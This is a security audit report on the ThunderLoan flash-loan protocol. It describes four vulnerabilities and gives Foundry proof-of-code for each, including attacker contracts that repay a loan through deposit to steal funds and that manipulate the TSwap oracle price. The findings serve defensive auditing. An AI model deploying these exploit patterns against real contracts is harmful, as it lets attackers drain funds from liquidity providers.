

ThunderLoan Audit Report

Version 1.0

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Protocol Summary

ThunderLoan is a protocol that allows user to take out flashloan and also provides liquidity providers a way to earn money off their capital. Liquidity providers can deposit their assets into ThunderLoan and be given AssetTokens in return. These AssetTokens gain interest over time depending on how often people take out flash loans.

Disclaimer

Dheeraj & team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	Н	H/M	М
Likelihood	Medium	H/M	М	M/L
	Low	М	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

Commit Hash: 8803f851f6b37e99eab2e94b4690c8b70e26b3f6

Scope

```
1 ./src/
2 #-- interfaces
3 | #-- IFlashLoanReceiver.sol
4 | #-- IPoolFactory.sol
5 | #-- ITSwapPool.sol
6 | #-- IThunderLoan.sol
7 #-- protocol
8 | #-- AssetToken.sol
9 | #-- OracleUpgradeable.sol
10 | #-- ThunderLoan.sol
11 #-- upgradedProtocol
12 #-- ThunderLoanUpgraded.sol
```

Roles

- Owner: The owner of the protocol who has the power to upgrade the implementation.
- Liquidity Provider: A user who deposits assets into the protocol to earn interest.
- User: A user who takes out flash loans from the protocol.

Executive Summary

Issues found

Severity	Number of issues found
High	3
Medium	1
Low	0
Gas	0
Informational	0
Total	4

Findings

High

[H-1] Unnecessary ThunderLoan::updateExchangeRate in the deposit function sets high fees and incorrect exchange rate, which prevents liquidity providers from redeeming funds

Description: In the Thunderloan protocol, the exchangeRate is responsible for managing the exchange between the asset token and the underlying token, effectively tracking the fees owed to liquidity providers. However, the exchangeRate is unnecessarily updated in the deposit function, despite no fees being collected during deposits. This results in an inaccurate exchange rate and has two major consequences: liquidity providers (LPs) are unable to redeem their funds, and the fee calculation is incorrect, leading to potentially misrepresented fees.

```
function deposit(IERC20 token, uint256 amount) external
          revertIfZero(amount) revertIfNotAllowedToken(token) {
2
           AssetToken assetToken = s_tokenToAssetToken[token];
3
           uint256 exchangeRate = assetToken.getExchangeRate();
4
           uint256 mintAmount = (amount * assetToken.
              EXCHANGE_RATE_PRECISION()) / exchangeRate;
5
           emit Deposit(msg.sender, token, amount);
           assetToken.mint(msg.sender, mintAmount);
6
7
8
           // @audit-high the exchange rate should not be updated here
9 @>
           uint256 calculatedFee = getCalculatedFee(token, amount);
           assetToken.updateExchangeRate(calculatedFee);
10 @>
11
           token.safeTransferFrom(msg.sender, address(assetToken), amount)
12
              ;
13
       }
```

Impact: There are several impacts due to this:

- 1. The redeem function is blocked, as the incorrect exchangeRate signifies the protocol owes more tokens than it has.
- 2. The rewards are incorrectly calculated, this leads to the liquidity providers potentially getting way more than deserved.

Proof of Concept:

- 1. LP deposits
- 2. User takes out a flash loan
- 3. It is now impossible for LP to redeem

Proof of Code

Add the following test in ThunderLoanTest.t.sol

```
function testRedeemAfterDeposit() setAllowedToken hasDeposits
           public {
           uint256 amountToBorrow = AMOUNT * 10;
3
           uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA,
               amountToBorrow);
4
5
           vm.startPrank(user);
6
           tokenA.mint(address(mockFlashLoanReceiver), calculatedFee);
7
           thunderLoan.flashloan(address(mockFlashLoanReceiver), tokenA,
               amountToBorrow, "");
8
           vm.stopPrank();
9
           uint256 amountToRedeem = type(uint256).max;
10
11
           vm.startPrank(liquidityProvider);
           thunderLoan.redeem(tokenA, amountToRedeem);
13
           vm.stopPrank();
14
       }
```

Recommended Mitigation: Remove the block of code that updates the exchangeRate in the deposit function.

```
1 - uint256 calculatedFee = getCalculatedFee(token, amount);
2 - assetToken.updateExchangeRate(calculatedFee);
```

[H-2] Flashloan repayment using Thunder Loan:: deposit lets the borrower steal funds

Description: When a user borrows funds using the flashloan function, they are expected to call the repay method to return the borrowed amount. However, instead of invoking repay, the user can call the deposit method. Both methods transfer funds to the AssetToken contract, but the deposit method incorrectly registers the user as a liquidity provider and rewards them with liquidity tokens, which can be used to redeem the deposited amount.

Since the flashloan function validates repayment by checking the AssetToken contract's balance (without distinguishing between deposit and repay), this condition is met when funds are deposited, despite no actual loan repayment. This creates a loophole where users can avoid paying back the loan and, in turn, receive liquidity tokens that allow them to redeem funds they should have repaid.

Impact: Users can exploit the flashloan by calling deposit instead of repay, falsely fulfilling the repayment condition and redeeming funds. This could result in draining the entire liquidity of the protocol(one AssetToken at a time).

Proof of Concept: Follow the following steps:

- 1. User takes a flashloan
- 2. The receiver contract that implements the executeOperation function calls the deposit method with borrowed money and fee, getting liquidity tokens in return
- 3. The AssetToken contract balance is updated, which by-pass the check for repayment
- 4. The user redeem the liquidity tokens for AssetToken

Proof of Code

Place the following receiver contract for flashloan in Thunder Loan.t.sol.

```
contract DepositOverRepay is IFlashLoanReceiver {
2
       ThunderLoan thunderLoan;
3
       AssetToken assetToken;
4
       IERC20 s_token;
5
6
       constructor(address _thunderLoan) {
7
           thunderLoan = ThunderLoan(_thunderLoan);
8
9
10
       function executeOperation(
11
           address token,
           uint256 amount,
           uint256 fee,
14
           address, /*initiator*/
15
           bytes calldata /*params*/
16
       )
17
           external
18
           returns (bool)
19
           s_token = IERC20(token);
20
           assetToken = thunderLoan.getAssetFromToken(IERC20(token));
21
22
           IERC20(token).approve(address(thunderLoan), amount + fee);
23
           // deposit funds instead of Repay
           thunderLoan.deposit(IERC20(token), amount + fee);
24
25
           return true;
       }
27
28
       function redeem() public {
           thunderLoan.redeem(s_token, assetToken.balanceOf(address(this))
               );
       }
31 }
```

Update the following test in ThunderLoan.t.sol

```
function testUseDepositInsteadOfRepayToStealFunds() public
    setAllowedToken hasDeposits {
    vm.startPrank(user);
    uint256 amountToBorrow = 50e18;
    uint256 fee = thunderLoan.getCalculatedFee(tokenA,
```

```
amountToBorrow);
5
           DepositOverRepay executorContract = new DepositOverRepay(
               address(thunderLoan));
           tokenA.mint(address(executorContract), fee); // for fee
6
           // take flashloan -> deposits instead of repay
8
9
           thunderLoan.flashloan(address(executorContract), tokenA,
               amountToBorrow, "");
           // redeem deposited funds
11
           executorContract.redeem();
           vm.stopPrank();
13
14
           assert(tokenA.balanceOf(address(executorContract)) >
               amountToBorrow + fee);
       }
16
```

Recommended Mitigation: A check could be implemented to keep the block.number of flashloan and deposit distinguished. Thus, making it impossible to take a flashloan and make a deposit in the same block.

[H-3] Storage collision between ThunderLoan::s_flashLoanFee and ThunderLoan::s_currentlyFlashLoaning due to contract upgrades freezes protocol

Description: In the original Thunder Loan contract, the two variables are in the following order:

```
uint256 private s_feePrecision;
uint256 private s_flashLoanFee; // 0.3% ETH fee
```

However, in the upgraded ThunderLoanUpgraded, the order changes to:

```
uint256 private s_flashLoanFee; // 0.3% ETH fee
uint256 public constant FEE_PRECISION = 1e18;
```

Since Solidity identifies variables by storage slots rather than by name, after the upgrade, the s_flashLoanFee will read the value originally stored in s_feePrecision. Reordering variables or removing them (like replacing with constants) shifts the storage layout, causing variables to incorrectly reference old storage slots.

Impact: After the upgrade, the s_flashLoanFee will read the value of s_feePrecision. This means that the users who will take flash loan after the upgrade would be charged incorrect fees.

Misaligned storage for s_currentlyFlashLoaning may freeze the protocol, as the contract can no longer properly track active flash loans.

Proof of Concept:

Proof of Code

Add the following code in ThunderLoan.t.sol

```
1
2
   import {ThunderLoanUpgraded} from "../../src/upgradedProtocol/
      ThunderLoanUpgraded.sol";
3
4
5
6
7 function testUpgradeBreaksStorage() public {
           uint256 feeBeforeUpgrade = thunderLoan.getFee();
8
9
           vm.startPrank(thunderLoan.owner());
           // deploy new implementation
10
11
           ThunderLoanUpgraded thunderLoanUpgraded = new
              ThunderLoanUpgraded();
12
           // set newImplementation
           thunderLoan.upgradeToAndCall(address(thunderLoanUpgraded), "");
13
14
           vm.stopPrank();
15
           uint256 feeAfterUpgrade = thunderLoan.getFee();
16
           console2.log("Fee Before upgrade: ", feeBeforeUpgrade); //
17
               0.003000000000000000
           console2.log("Fee After upgrade: ", feeAfterUpgrade); //
18
               1.0000000000000000000
19
           assert(feeAfterUpgrade != feeBeforeUpgrade);
21
       }
```

You could forge inspect ThunderLoan storage and forge inspect ThunderLoanUpgraded storage to see the storage layout of the two contracts.

Recommended Mitigation: If you want to remove the storage variable, then keep the storage slot blank so as to not mess the storage order.

```
1
2 - uint256 private s_flashLoanFee; // 0.3% ETH fee
3 - uint256 public constant FEE_PRECISION = 1e18;
4 + uint256 private s_blank;
5 + uint256 private s_flashLoanFee; // 0.3% ETH fee
6 + uint256 public constant FEE_PRECISION = 1e18;
```

Medium

[M-1] Using TSwap as a price oracle leads to price and oracle manipulation attacks

Description: TSwap is a constant product x * y = k formula based AMM. The price of a token is determined by the reserves of the tokens in the pool. Due to this, it becomes easy for malicious actors to manipulate the price of a token by buying or selling a large amount of token in the same transaction, essentially ignoring protocol fees.

Impact: Liquidity providers fees will be significantly reduced.

Proof of Concept: The following happens in 1 transaction.

- 1. User calls Thunder Loan: : flashloan for 1000 tokenA. The fee amount charged is original fee1. During the flash loan, they do the following:
 - i. User sells 1000 tokenA, tanking the price
 - ii. Instead of repaying right away, the user takes out another flash loan for another 1000 tokenA.
 - iii. Since Thunder Loan calculates price based on the TSwapPool the second flash loan is substantially cheaper.

```
function getPriceInWeth(address token) public view returns (uint256
) {
   address swapPoolOfToken = IPoolFactory(s_poolFactory).getPool(
        token);
   return ITSwapPool(swapPoolOfToken).getPriceOfOnePoolTokenInWeth
        ();
4
}
```

```
1 iii. The user then repays the first flash loan and then the second.
```

Proof of Code

Add the following MaliciousFlashReceiverContract in ThunderLoan.t.sol

```
1 contract MaliciousFlashLoanReceiver is IFlashLoanReceiver {
2
      ThunderLoan thunderLoan;
3
      BuffMockTSwap tSwapPool;
      address repayAddress;
4
5
      bool attacked;
      uint256 public firstFlashLoanFee;
      uint256 public secondflashLoanFeeFee;
8
9
      constructor(address _thunderLoan, address _tSwapPool, address
          _repayAddress) {
          thunderLoan = ThunderLoan(_thunderLoan);
```

```
11
            tSwapPool = BuffMockTSwap(_tSwapPool);
12
            repayAddress = _repayAddress;
13
        }
14
15
        // 1. Swap TokenA borrowed for WETH
16
        // 2. Take out another flash loan
17
        function executeOperation(
18
            address token,
19
            uint256 amount,
            uint256 fee,
            address, /*initiator*/
21
22
            bytes calldata /*params*/
        )
23
            external
24
25
            returns (bool)
26
        {
27
            if (!attacked) {
                // Swap tokenA for WETH & take another FLASH LOAN!!!
28
29
                firstFlashLoanFee = fee;
                attacked = true;
31
                // get amount of WETH in return for tokenA
                uint256 wethAmount = tSwapPool.getOutputAmountBasedOnInput
                    (50e18, 100e18, 100e18);
33
                // token approval to TSwapPool
                IERC20(token).approve(address(tSwapPool), 50e18);
34
                // Swap => Should tank the price
                tSwapPool.swapPoolTokenForWethBasedOnInputPoolToken(50e18,
                   wethAmount, block.timestamp);
                // From 100 WETH && 100 tokenA
39
                // To ?? WETH && 150 tokenA
40
41
                // call flashLoan again
                thunderLoan.flashloan(address(this), IERC20(token), amount,
42
                    "");
43
44
                // IERC20(token).approve(address(thunderLoan), amount + fee
45
                // thunderLoan.repay(IERC20(token), amount + fee);
                IERC20(token).transfer(repayAddress, amount + fee);
46
47
            } else {
48
                // calculate the FEE and REPAY!!!
49
                secondflashLoanFeeFee = fee;
50
                // repay
                IERC20(token).approve(address(thunderLoan), amount + fee);
51
                thunderLoan.repay(IERC20(token), amount + fee);
52
53
54
            return true;
        }
56 }
```

Add the following test in ThunderLoan.t.sol

```
function testOracleManipulation() public {
2
           // 1. Setup contracts...
3
           thunderLoan = new ThunderLoan();
           proxy = new ERC1967Proxy(address(thunderLoan), "");
4
5
           thunderLoan = ThunderLoan(address(proxy));
6
7
           BuffMockPoolFactory poolFactory = new BuffMockPoolFactory(
               address(weth));
8
           tokenA = new ERC20Mock();
9
           // TSwap pool for WETH / TokenA
           address tswapPool = poolFactory.createPool(address(tokenA));
           BuffMockTSwap tSwap = BuffMockTSwap(tswapPool);
11
           thunderLoan.initialize(address(poolFactory));
12
13
           // 2. Provide liquidity to TSwap
15
           uint256 INITIAL_LIQUIDITY = 100e18;
           vm.startPrank(liquidityProvider);
           weth.mint(liquidityProvider, INITIAL_LIQUIDITY);
17
18
           weth.approve(tswapPool, INITIAL_LIQUIDITY);
19
           tokenA.mint(liquidityProvider, INITIAL_LIQUIDITY);
20
           tokenA.approve(tswapPool, INITIAL_LIQUIDITY);
21
22
           tSwap.deposit(INITIAL_LIQUIDITY, INITIAL_LIQUIDITY,
               INITIAL_LIQUIDITY, block.timestamp);
23
           vm.stopPrank();
           // Ratio: 100 WETH : 100 tokenA
24
25
           // Price => 1 : 1
           // 3. Fund ThunderLoan
27
28
           vm.prank(thunderLoan.owner());
29
           thunderLoan.setAllowedToken(tokenA, true);
           vm.startPrank(liquidityProvider);
31
32
           tokenA.mint(liquidityProvider, INITIAL_LIQUIDITY * 10);
           tokenA.approve(address(thunderLoan), INITIAL_LIQUIDITY * 10);
34
           thunderLoan.deposit(tokenA, INITIAL_LIQUIDITY * 10);
           vm.stopPrank();
           // 4. Taking out two flash loans
                  i. Take out flash loan for 50 tokenA
                  ii. Take out another flash loan of 50 tokenA
39
41
           uint256 normalFee = thunderLoan.getCalculatedFee(tokenA, 100e18
               );
42
           console2.log("Normal Fee: ", normalFee);
43
44
           uint256 amountToBorrow = 50e18;
45
           MaliciousFlashLoanReceiver flashLoanReceiver = new
               MaliciousFlashLoanReceiver(
```

```
address(thunderLoan), tswapPool, address(thunderLoan.
46
                   getAssetFromToken(tokenA))
           );
47
48
           vm.startPrank(user);
49
           tokenA.mint(address(flashLoanReceiver), 100e18); // to pay fees
50
           thunderLoan.flashloan(address(flashLoanReceiver), tokenA,
51
               amountToBorrow, "");
52
           vm.stopPrank();
53
           uint256 attackFee = flashLoanReceiver.firstFlashLoanFee() +
               flashLoanReceiver.secondflashLoanFeeFee();
55
           console2.log("Attack Fee: ", attackFee);
56
           assert(attackFee < normalFee);</pre>
57
58
       }
```

Recommended Mitigation: Consider using a different price oracle mechanism, like a Chainlink price feed with a Uniswap TWAP fallback oracle.